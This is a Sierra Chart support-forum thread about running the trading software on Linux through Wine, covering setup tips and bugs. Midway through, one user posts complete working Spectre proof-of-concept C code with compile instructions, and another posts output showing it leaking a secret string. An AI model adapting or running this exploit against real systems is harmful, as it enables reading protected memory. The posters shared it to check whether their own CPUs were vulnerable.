Login Page - Create Account

Support Board


Date/Time: Tue, 18 Jun 2019 17:56:24 +0000



[User Discussion] - Linux

Support Request:
[2017-10-09 16:49:42]
ertrader - Posts: 199
I'm considering migrating to Mint Linux (or other linux version if you recommend). Can you please let me know your latest recommendations? Wine version, version, SC version, SC Settings and anything you can think of.

(MS continues to fix, break, fix, break and after so many years Win 10 does not seem any better)
[2017-10-09 17:15:10]
Sierra Chart Engineering - Posts: 72918
We cannot make any recommendations. We will leave this to others.

We also recommend avoiding using Wine. You will have problems with that.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
[2017-10-09 21:12:36]
ganz - Posts: 944
ertrader

I'm considering migrating to Mint Linux

dude ... just stop dreaming you are cool hacker and be more realistic

if you are using SC you are just a user as mouse operator

.Net Core is crossplaftorm and open-source

transfer all of your systems to .Net Core and use linux as a macho

(.Net Core will be ready for production in 3 years or so)

don't waste the time using harness for a car :)
[2017-10-09 21:21:45]
ganz - Posts: 944
ertrader

after so many years Win 10 does not seem any better

Win 7 is the best choise till 2020

or try windoze server 2008 r2 for free 240 days
https://www.microsoft.com/en-us/download/details.aspx?id=11093
Date Time Of Last Edit: 2017-10-09 21:22:31
[2017-10-09 21:45:04]
Sierra Chart Engineering - Posts: 72918
Windows server 2008 R2 is good.

Much preferred over version 2012 which Microsoft has basically botched the server operating system.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
[2017-10-09 22:18:06]
Kiwi - Posts: 266
Jeez Guys. Stop being pessimists.

Sierra Chart runs fine on Wine on Linux Mint. I haven't had a bug in years.

ertrader, I just run a current version of SC (1615 when I last looked), the most recent Mint (but it will work fine on any of them), but I do use an ubuntu ppa to ensure that I have the most current version of Wine. SC/Wine used to be a bit of a processor hog at around 10% but recent changes in one or both have dropped it to the 1% level for my charts.

Wine is where the rubber meets the road so I use 2.4 rather than 1.8 which is default for Mint 18. 1.8 may actually be enough now, but I got into the habit of having the latest wine because of an issue a couple of years back and haven't bothered dropping back.

The only downside was compiling dlls and keeping that working. But now the Sierra Chart team have provided a remote compiler option ... and you just press the button and wait a few seconds for the dll to be deposited in your data directory. Cool.
Date Time Of Last Edit: 2017-10-09 22:19:51
[2017-10-09 22:19:50]
ganz - Posts: 944
ertrader

in case you find my words unkind a bit: then just use linux as a linux not as windoze one

try arch linux or lfs in order to find out what that linux really is

then use wine-staging and check CPU usage on chart scrolling and so on.

compare it to that "buggy" windoze :)

another point is linux video subsystem that there is no stable and officcial support from nvidia nor amd. it is always in beta stage or as a closed blobs

another pain is 4k screens and multi-monitor configs

high end MB and optimus will not work coorectly and stable

i love to use linux since 1995-96 but it is not the time to say it is ready for retail
[2017-10-09 22:25:27]
Kiwi - Posts: 266
Just a note on ganz's arch post.

I'd suggest Mint is a better choice for you initial live system. Play with arch, learn stuff. But for live use something boring like Mint :)

On screens I have an Nvidia card so use their drivers for multi-monitor but I don't yet have 4K screens (default in linux is to use os drivers but they can be tricky). I'd forgotten about graphics card drivers - they've always been the trickiest thing for me so when I do a new install I install with 1 screen. Then I add the NVIDIA drivers. Then I boot with multiple screens and adjust everything. At that point I save my "bare" os image and continue to add other software.
[2017-10-09 22:43:56]
ertrader - Posts: 199
Thank you... this helps! I will get mint installed and update with my experience using latest Wine. Current configuration is AMD video but I'm not needing 4k or multiple screens at this time. I'll look into remote compiling and most likely change over to this method with my custom ACSIL's.
[2017-10-09 22:50:13]
ganz - Posts: 944
Kiwi

Stop being pessimists.

OK. Let's start party :)

https://www.phoronix.com/scan.php?page=news_item&px=Ubuntu-Dropping-Unity

they've always been the trickiest thing

https://www.youtube.com/watch?v=_36yNWw_07g

:)
[2017-10-09 22:52:15]
ganz - Posts: 944
ertrader

I'll look into remote compiling

let's be the linuxoids then

https://www.sierrachart.com/SupportBoard.php?ThreadID=1229
[2017-10-10 08:17:11]
AlexPereira - Posts: 130
well, if i can give my feedback:

Gentoo, Arch and openSUSE work well right, have wine and cross dev tools ( gentoo will be a pain in the ass for crossdev ).

Right now the combination of wine 2.18 and freetype 2.18.1 are giving me problems with antialiased fonts, but other than that, works well.

Also no issues with performance with wine, wine-staging or wine-staging-nine. Checking my cpu they are most of the time below 10% ( real core utilization, not dividing by cpu numbers ), only when there is alot of action it goes to 20% or so. Also charts are fast, and i have 2560x1440 maximized charts.

The real waste is that you will have a wine thread running, in which in windows you don't. So compare to using SC on linux , the same as windows + wine server thread expenses.

About SC bugs on Linux, there is the famous and really pitty tradewindow bug, other than that, works very well.

Also you can customize your wine colours to make SC like almost native app.

Also since sierra charts allow to customize the charts titlebars, means that with a window manager like kwin, you can do whatever you dream of with the windows ( just launch SC and they go to the right place at the right size always ).

For ACSIL development, you have visual studio code, atom editor, kate, geany, etc ... my favorite is qt creator.
[2017-10-10 14:15:20]
ertrader - Posts: 199
"About SC bugs on Linux, there is the famous and really pitty tradewindow bug, other than that, works very well"

Can you please speak to this a bit more?
[2017-10-10 16:21:49]
AlexPereira - Posts: 130
"About SC bugs on Linux, there is the famous and really pitty tradewindow bug, other than that, works very well"

Can you please speak to this a bit more?

Its a bug that if you have a tradewindow and close it, SC will give an exception error on the message log ( also trading will not work properly until you restart SC or close and open the chartbook ). Else it works fine....
[2017-10-10 17:29:32]
ertrader - Posts: 199
Thanks... I do not usually close the trade window but I do attach it to the right hand side of the screen so I'll test that configuration.
[2017-10-10 17:29:51]
User35525 - Posts: 130
I don't think I've seen the tradewindow bug in Wine on MacOS [or I forget... I know I've seen issues with attaching a trade window to a chart, but you just restart SC if there's a problem in Wine].

So if you have a Mac, Wine is still a great option. It seems quite a few people are using SC with Wine on Linux and MacOS, so I'm glad we have SC.
[2017-10-10 21:41:00]
ganz - Posts: 944
Kiwi

Mint is a better choice for you initial live system

sir, with all of my respect to you

from my pov in terms of qualified engineering solutions a system should be stable, predictable and well managed

a system is so good as good an every member that chain
and a system is so weak as weak any worst member that chain

so using Wine as a main trading tool an one makes justified by none and an unwise step

imho :)

with best regards
Date Time Of Last Edit: 2017-10-10 21:54:58
[2017-10-14 22:28:37]
Kiwi - Posts: 266
Your humility is noted :)

I've been using Wine with Sierra Chart since 2013 and it hasn't given me any problems. Sure I've had an issue picking fonts and with a difference in chart edges but they never impacted trading or charting really and even they've been gone for the last year.

So, pick a boring, stable, but likeable Linux. Then wine + sc should give a good experience.

I would always recommend back up in trading though. First, know how to use your broker's tech to shut down a trade if SC/Wine died (ie, how do I exit a position with TWS). Second, have their number written down so that if your system or the internet dies you can call and close positions.
Date Time Of Last Edit: 2017-10-14 22:29:31
[2017-10-17 21:38:53]
ganz - Posts: 944
Kiwi

Last twenty years it wasn't possible to explain to windows users what exactly linux was

They all trying to use linux as some kind of Windoze

Even devs are ill of that issue to try build yet another a la windoze shell

And they are fail all that time

It may makes you smile but this is something that makes Linux as a fail Desktop at all for decades

These wrong advices provides an unstable and incomplete solutions to users to make them sure the windoze was the better choise
[2017-10-17 21:58:15]
ganz - Posts: 944
ertrader

In case IB is on the table you may want to try MacOS and Investor/RT.
[2017-10-18 01:08:06]
ertrader - Posts: 199
Thanks ganz... but ALL Apple solutions in any form are not part of any aspect of my life. I'll keep on with linux testing for now.
[2017-10-18 09:41:11]
Sierra Chart Engineering - Posts: 72918
When we say they have botched server 2012, it means the following and numerous other items:

- When accessing it over Remote Desktop, it is sluggish and not responsive for the first 30 seconds or so, if there are many programs running. Totally different from the perfectly fine responsiveness of 2008. And this is consistent across many 2012 server installations, and not just isolated.
- There is this ridiculous start menu that takes up an entire screen.
- There is this ridiculous charms bar. This is supposed to be a server operating system. Not some experimental desktop full of all kinds of nonsense.
- Cannot run separate time synchronization utility. The time synchronization that it offers, is not as trustworthy for various reasons.
- There are conditions where Windows updates will automatically install, even though we have disabled that. In other words, Windows automatic updates turns back on under certain conditions.
- Loss of the ability to configure color and font settings in the same way on 2008. Very frustrating.
-When it comes to overall execution performance, it is hard to say if it is worse than 2008 but there are indications at times that it is.

Numerous other items which do not come to mind at the moment.

Also take Visual C++ 2017. They have completely screwed that up. We use a touchscreen, and it is not even touchscreen functional anymore. Even menus randomly stop functioning at times. They replace a perfectly fine scrollbar with this tiny barely able to interact with scrollbar in the text editor. Settings randomly change. Various stability problems. They have screwed up Visual C++ so much.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
Date Time Of Last Edit: 2017-10-18 18:24:30
[2017-10-28 02:35:50]
ertrader - Posts: 199
Update on my experiences moving to Linux:

Linux Mint 18.2 purchased CD and installed. Did not really need to purchase CD for 5.95 as it is free to download and burn a CD/DVD but it was convenient while I was traveling to have it ready when home. Installation went smoothly.
Hardware: (Yes I know old but want to see how Linux performs)
8 Gig memory
1 TB SSD
Nvidia GT440
Intel Core 2 CPU 6420 @ 2.13 GHZ


1) Mint Linux 18.2 working OK. Hangs on screensaver for some reason. Have turned it off for now. Investigating.
2) SC installed and running V 1630 using Wine 2.0.3.
3) SC ability to drag tabs not working for some reason. Cannot drag tabs and move.
4) Windows Version of Standalone Interactive Brokers installed and working. Yes I know they have Linux version but SC needs to connect via Windows Standalone IB (at least that is my understanding and experience)
5) TWSStart for auto re-logging is not working. Investigating
6) SC Remote compiling works well using my custom studies
7) SC and IB Performance seems good. On old hardware, Linux seems to eliminate all the windows baggage...maybe just placebo effect. Will look for objective performance metrics and comparisons.

More to come as I get use to OS and Windows differences. I'm a newbie Linux user but I really want this to work. I am so fed up with Microsoft and Mac OS never an option.

Best regards
Date Time Of Last Edit: 2017-10-28 02:41:43
[2017-10-28 02:45:42]
Sierra Chart Engineering - Posts: 72918
We are extremely fed up with Microsoft as well, you will not believe the level of problems we have with Visual Studio including preventing two of our systems from starting up and requiring either reinstalling the OS, or correction of the startup files.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
Date Time Of Last Edit: 2017-10-28 04:10:22
[2017-10-28 02:54:28]
ertrader - Posts: 199
On my production trading computer, I had to do full reinstall to get working after "creator" update. I frankly cannot imagine the issues MS must pose for SC! Please keep up the fight to make SC as independent as possible from anything MS related.
[2017-10-31 13:21:12]
ganz - Posts: 944
fyi: https://www.youtube.com/watch?v=AokFgDSLMWU
Date Time Of Last Edit: 2017-10-31 13:21:30
[2017-10-31 18:04:25]
ganz - Posts: 944
ertrader
I'm a newbie Linux user but I really want this to work.

https://www.techrepublic.com/article/how-to-use-a-ramdisk-on-linux/

http://www.thegeekstuff.com/2010/10/linux-ln-command-examples/

https://wiki.winehq.org/FAQ#Wineprefixes
[2017-10-31 22:29:14]
ganz - Posts: 944
ertrader

fyi: https://www.sierrachart.com/SupportBoard.php?ThreadID=4225#P130903
[2017-11-03 21:29:51]
ertrader - Posts: 199
Thank you.
Below are my latest updates. At this point, all issues have been resolved either with simple workarounds or use of alternate solutions.

1) Mint Linux 18.2 working better than expected. Have now installed it on a laptop completely replacing windows (for a non-SC user and feedback is great!)
2) Installed 64 bit Linux version of latest Interactive Brokers standalone software 963.3k. To my surprise, Sierrachart connects to it, downloads data and sends orders! I had spent time installing and testing Windows IB version because I thought SC would need to connect via windows software.
3) Wine 2.0.3 graphics seems to work better than Crossover for Sierrachart. SC works well with both Crossover and Wine 2.0.3
4) TWSStart is an important IB utility for me to restart IB after IB autologs off daily. TWSStart does not work properly with Linux. I contacted the author and he confirmed after testing. He is also considering moving completely to Linux. IBController was recommended and this is what I moved to. It took some doing but is working.
5) Screensave hanging issue was due to driver. Updated to latest Nvidia driver 384.9

Summary to date:
1) To run SC, Wine 2.0.3 works well. Crossover works well too but is not really needed.
2) Use IB TWS 64 Bit Linux version. Windows version works well but is not needed.
3) Use IBController instead of TWSStart if keeping logged into IB is needed
4) For remote control, Teamviewer is working best. Use latest security recommendations.
5) In SC, workaround for mouse left direction drag and drop not working, use ctrl-w and move charts as needed . SC Right direction drag and drop works

CPU usage is higher than on Windows: Wineserver: 24%, Sierrachart: 24%
Date Time Of Last Edit: 2017-11-04 14:36:37
[2017-11-07 01:27:56]
ertrader - Posts: 199
Here is the latest motivation for Linux:
https://www.windowscentral.com/windows-10-fall-creators-update-common-installation-problems-and-fixes
[2017-11-24 00:54:51]
ertrader - Posts: 199
A few updates:
Move to Linux is still progressing. Unfortunately, I've found 1 very annoying issue that has no work around that I have been able to find. Resizing regions using a mouse is not working. Usually, once a study is added, you click and drag a region bigger or smaller (vertically) by selecting the top edge of the region.

I've looked for a menu option to resize but using a mouse appears to be the only way to resize. If there is another way, please update this thread.
[2017-11-24 01:57:54]
Sierra Chart Engineering - Posts: 72918
Try using this method documented here:
https://www.sierrachart.com/index.php?page=doc/Tools.html#AdjustRegions

Or this method here:
https://www.sierrachart.com/index.php?page=doc/WorkingWithCharts.html#ChartWindowandRegions
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
[2017-11-24 03:12:28]
ertrader - Posts: 199
Yes... thank you works perfectly!
[2017-11-29 15:18:51]
ertrader - Posts: 199
For my production system, below is an explanation of issues and solutions that helped me get through installing Linux. These are not SC related but did slow me down for getting SC up and running in production. There are commercial solutions to solving the problems below but I did not want to purchase them due to cost and prior issues.

Issue 1:
Background: A partition is needed to install Linux. Normally this is done by shrinking the windows partition which provides room for installing Linux.
Issue: Windows 10 pro would not make enough room for Linux despite having 200 gig free. Windows puts hibernation, swap and other system files at the end of the volume. When you attempt to make a partition, if the files are present, you cannot shrink.
Solution: Disable kernel memory dump, hibernation and set page file to zero. Reboot, shrink partition and you are good to go. See the links below for details.

Issue 2:
Background: Windows supports a maximum of 4 partitions on the MBR (Master boot record). This is a legacy partition type.
Issue: There were already 4 partitions in the MBR and I did not want to completely wipe windows and all my files
Solution: 2 of the partitions were identified as recovery partitions. I did not need them and so could remove them (I have a recover CD and regularly back up). For windows computers, diskpart is used to remove partitions and this is what I used. After removing the partitions, Linux installation proceeded without any problems.

Helpful links:
https://answers.microsoft.com/en-us/windows/forum/windows_10-performance/windows-disk-management-unable-to-shrink-c-drive/217c3521-b254-4662-bac9-bc90dc633fab?auth=1
https://www.youtube.com/watch?v=sasa-ZGrYzY
https://helpdeskgeek.com/how-to/diskpart-windows-how-to-use/

Additional updates:
1) Mint Linux 18.2 has been updated to 18.3 with no issues
2) A newer AMD video card is on my production system and is working exceptionally well under Linux.
Date Time Of Last Edit: 2017-11-29 15:27:56
[2018-01-03 15:28:38]
ganz - Posts: 944
fyi:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5aa90a84589282b87666f92b6c3c917c8080a9bf

https://patchwork.kernel.org/patch/10117465/

This will significantly slow down LDT users, but that shouldn't matter for
important workloads -- the LDT is only used by DOSEMU(2), Wine, and very
old libc implementations.

[2018-01-04 22:21:15]
ganz - Posts: 944
check your CPU :)

https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6
[2018-01-04 22:30:22]
ganz - Posts: 944
this one works for me


#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
1,
2,
3,
4,
5,
6,
7,
8,
9,
10,
11,
12,
13,
14,
15,
16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char * secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}

/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;

for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {

/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i]); /* intrinsic for clflush instruction */

/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));

/* Call the victim! */
victim_function(x);

}

/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
_mm_mfence();
time1 = __rdtsc(); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
_mm_mfence();
time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}

/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}

int main(int argc,
const char * * argv) {
size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
int i, score[2], len = 40;
uint8_t value[2];

for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3) {
sscanf(argv[1], "%p", (void * * )( & malicious_x));
malicious_x -= (size_t) array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", & len);
}

printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X=’%c’ score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
return (0);
}

$ gcc -std=c99 -march=native -O0 spectre.c -o spectre
Date Time Of Last Edit: 2018-01-04 22:33:12
[2018-01-05 00:21:02]
user8888 - Posts: 86
Worked fine inside a Linux VM.
very interesting, thanks much ganz



$ lscpu | grep "Model name"
Model name: Intel(R) Xeon(R) CPU E3-1246 v3 @ 3.50GHz

$ gcc -std=c99 -march=native -O0 spectre.c -o spectre

$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfedf8... Success: 0x54='T' score=2
Reading at malicious_x = 0xffffffffffdfedf9... Success: 0x68='h' score=2
Reading at malicious_x = 0xffffffffffdfedfa... Success: 0x65='e' score=2
Reading at malicious_x = 0xffffffffffdfedfb... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffdfedfc... Success: 0x4D='M' score=2
Reading at malicious_x = 0xffffffffffdfedfd... Success: 0x61='a' score=2
Reading at malicious_x = 0xffffffffffdfedfe... Success: 0x67='g' score=2
Reading at malicious_x = 0xffffffffffdfedff... Success: 0x69='i' score=2
Reading at malicious_x = 0xffffffffffdfee00... Success: 0x63='c' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee01... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffdfee02... Success: 0x57='W' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee03... Success: 0x6F='o' score=2
Reading at malicious_x = 0xffffffffffdfee04... Success: 0x72='r' score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfee05... Success: 0x64='d' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee06... Success: 0x73='s' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee07... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffdfee08... Success: 0x61='a' score=2
Reading at malicious_x = 0xffffffffffdfee09... Success: 0x72='r' score=2
Reading at malicious_x = 0xffffffffffdfee0a... Success: 0x65='e' score=2
Reading at malicious_x = 0xffffffffffdfee0b... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffdfee0c... Success: 0x53='S' score=2
Reading at malicious_x = 0xffffffffffdfee0d... Success: 0x71='q' score=2
Reading at malicious_x = 0xffffffffffdfee0e... Success: 0x75='u' score=2
Reading at malicious_x = 0xffffffffffdfee0f... Success: 0x65='e' score=2
Reading at malicious_x = 0xffffffffffdfee10... Success: 0x61='a' score=2
Reading at malicious_x = 0xffffffffffdfee11... Success: 0x6D='m' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee12... Success: 0x69='i' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee13... Success: 0x73='s' score=2
Reading at malicious_x = 0xffffffffffdfee14... Success: 0x68='h' score=2
Reading at malicious_x = 0xffffffffffdfee15... Success: 0x20=' ' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee16... Success: 0x4F='O' score=2
Reading at malicious_x = 0xffffffffffdfee17... Success: 0x73='s' score=2
Reading at malicious_x = 0xffffffffffdfee18... Success: 0x73='s' score=2
Reading at malicious_x = 0xffffffffffdfee19... Success: 0x69='i' score=2
Reading at malicious_x = 0xffffffffffdfee1a... Success: 0x66='f' score=2
Reading at malicious_x = 0xffffffffffdfee1b... Success: 0x72='r' score=2
Reading at malicious_x = 0xffffffffffdfee1c... Success: 0x61='a' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee1d... Success: 0x67='g' score=2
Reading at malicious_x = 0xffffffffffdfee1e... Success: 0x65='e' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee1f... Success: 0x2E='.' score=2

$
Date Time Of Last Edit: 2018-01-05 00:33:49
[2018-01-05 08:37:59]
ganz - Posts: 944
This will significantly slow down LDT users, but that shouldn't matter for
important workloads -- the LDT is only used by DOSEMU(2), Wine, and very
old libc implementations.
I just have checked on Debian 9 (4.9.65-3+deb9u2 x86) using wine 2.0.4 and didn't see a significant performance penalty at this moment

ps: https://security-tracker.debian.org/tracker/CVE-2017-5754
[2018-01-05 16:35:48]
ganz - Posts: 944
I just have checked on Debian 9 (4.9.65-3+deb9u2 x86) using wine 2.0.4 and didn't see a significant performance penalty at this moment
Tested on x86_64. The same result. Nothing new for SC in my tests.
[2018-01-06 07:38:23]
user8888 - Posts: 86
'Wine Takes Minor Performance Hit Running Windows Programs On Linux With KPTI'

https://www.phoronix.com/scan.php?page=article&item=linux-kpti-wine&num=1
[2018-01-06 10:08:05]
mountainwolf - Posts: 36
Of course native ELF
code would be the best.

In the meantime SC
runs fairly fine under WiNE,
unfort with high cpu time usage.

Try VirtBox or Xxen or other
hypervisor, cputimewise better.

And last but not least,
Nevermind it's better in
pretty much any respect
(& how could it be otherwise)
one runs LiGNUx by Moral Choice..

These are corporations of monsters.
Inhumane at heart, eVIL in mind.
They do not mind prosecuting best
white & fluffy intellectual iT Elite
with cannibalish criminal justice
or injustice system for profit..

if they never yet tried
to convict you of a felony
& destroy anything for
'unlicensed software',
as they did to me,
consider yourself
to be lucky?

https://youtu.be/yAslGCIHjNk?t=12m10s
https://www.youtube.com/watch?v=eginMQBWII4
https://www.gnu.org/philosophy/copyright-versus-community.en.html

these evil corps
& alike who
foster such crimes
against humanity &
breed this ciVIL wAR
deserve only to be
annihilated from
the face of this
so beautiful & so
wasted planet,
forever & ever,
amen..
Date Time Of Last Edit: 2018-01-06 13:21:53
[2018-01-06 14:23:23]
ganz - Posts: 944
mountainwolf
you've said nothing. remove your spam, please.
thnx.
[2018-01-23 07:53:50]
Kiwi - Posts: 266
Just updated my Mint 18.3 system to Wine 3.0 (winehq release). Seems good.
[2018-01-23 11:51:30]
ertrader - Posts: 199
I did the same and have no issues
[2018-01-24 22:39:07]
User677924 - Posts: 21
I just tried on Arch-Linux LXDE desktop works without sweat. Install Wine first then (a) download .exe to local folder. (b) Right mouse click "open with wine programloader". (c) will install in default location. (d) Creates icon on desktop. (e) Click the desktop icon and Sierra platform is up. I will attach screenshot for others.
I do use win 7.0. Performance wise Sierra in Linux is little bit faster than Windows. But Win 7.0 is pretty much stable
imageScreenshot from 2018-01-24 16-22-42.png / V - Attached On 2018-01-24 22:36:39 UTC - Size: 1018.55 KB - 322 views
[2018-03-12 17:54:05]
ertrader - Posts: 199
A few Linux updates:
1)Mint Linux 18.3 and Wine 3.0 working very well for me (performance, stability etc)
2)Updated to SC 1716 64 bit with recompiled custom studies and had no issues

An AMD graphics anomaly with SC seems to be resolved with 64 bit (garbled/overlapping screens after 3 or so hours). In 32 bit, an SC restart was needed to clear. I will continue to watch.

No known new issues. The click and drag tab and click and drag region issues are still present but ctrl-w for arranging tabs and alt-0 for resizing regions methods work fine.
Date Time Of Last Edit: 2018-03-12 18:05:37
[2018-07-02 05:20:17]
User106072 - Posts: 83
FYI
Latest 64b Lubuntu 18.04 (https://lubuntu.net/) with Wine (https://www.winehq.org/) + corefonts (https://wiki.winehq.org/Winetricks) works just fine in my 5y old HP AMD laptop. Wine gives some overhead but it's only +2..3% compared to Windows 10.

btw. Sierra has been the reason why I am still using Windows 10 in my multi monitor desktop workstation and now planning to switch Linux over there too.

Linux is just so much less hassle with forced updates and other suspicious network activity. Everything is configurable and can be turned on or off. Lubuntu is also very lightweight OS leaving resources for the productivity (specially RAM). With wine and mono I still have an option to run windows apps if it is absolutely necessary. In my case thanks to libreoffice (https://www.libreoffice.org/) I don't have any other reason than Sierra why to use windows apps anymore.
Date Time Of Last Edit: 2018-07-29 08:18:49
[2018-07-28 14:00:27]
ertrader - Posts: 199
Great to hear!
A few updates:
1) Update to Mint Linux 19 went without any issues. Performance still excellent.
2) Due to 3X margin requirements on IB IRA accounts, I've moved to FuturePath Trading. They work with ADMIS and I've moved to SC's CTS configuration. This also eliminated the need for an additional application running on my PC (TWS) TWS Linux worked fine but others (TT, Rithmic) were not playing as nice with Linux. The CTS configuration completely eliminates the need for them and is working perfectly.
3) Click and drag is working now
4) Using SC 1781 64 bit. No compiling issues
5) I use Libreoffice as well and is an EXCELLENT office package

https://www.sierrachart.com/index.php?page=doc/CTS_T4.php#SetupInstructionsForAdvancedLowCostConnectionModel

One issue that has been in SC, when replaying, after the first Replay attempt, the speed pull-down menu blanks out and Replay will not work. The first attempt works fine, but I have to restart SC to get it working again.

User106072..do you see this same behavior in Ubuntu? This has been the case as long as I've been working with SC on Mint Linux. I keep hoping the next version of Wine will fix it but not yet.
Date Time Of Last Edit: 2018-07-28 14:05:44
[2018-07-29 08:17:09]
User106072 - Posts: 83
User106072..do you see this same behavior in Ubuntu? This has been the case as long as I've been working with SC on Mint Linux. I keep hoping the next version of Wine will fix it but not yet.

Not happening for me. I can start/pause/stop Replay and change the speed without any problems.The speed change can be done while Replay is active or not.
Date Time Of Last Edit: 2018-07-29 08:18:07
[2018-07-29 11:22:21]
AlexPereira - Posts: 130
Probably people already noticed, but for some months now, the tradewindow problem has disappeared ( closing and opening tradewindow more than once )
[2018-08-17 18:57:59]
ertrader - Posts: 199
Thanks user User106072.

Support... I know you do not yet support Linux and no need to respond. However, if you at some point review the Replay code, On Mint Linux 18-19/Wine 3.02, After running replay one time, close the menu, then try to run again, The speed box pull down is blank. Note, the first time it runs fine... it is only when you close the replay box and try to replay again.

Exiting SC and restarting SC enables it to run again.
Date Time Of Last Edit: 2018-08-17 19:00:12
imageSpeedBox.png / V - Attached On 2018-08-17 18:57:03 UTC - Size: 37.19 KB - 119 views
[2018-08-17 21:13:41]
Sierra Chart Engineering - Posts: 72918
Gradually this is going to get resolved. But probably not for about six months from now.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
[2018-08-22 14:22:33]
ganz - Posts: 944
SC Support
it might make some sense to separate gui/client part and headless/server part
imo, it will be cool to be able to interact with cross platform server part independently for data receiving and trading using any prog lang

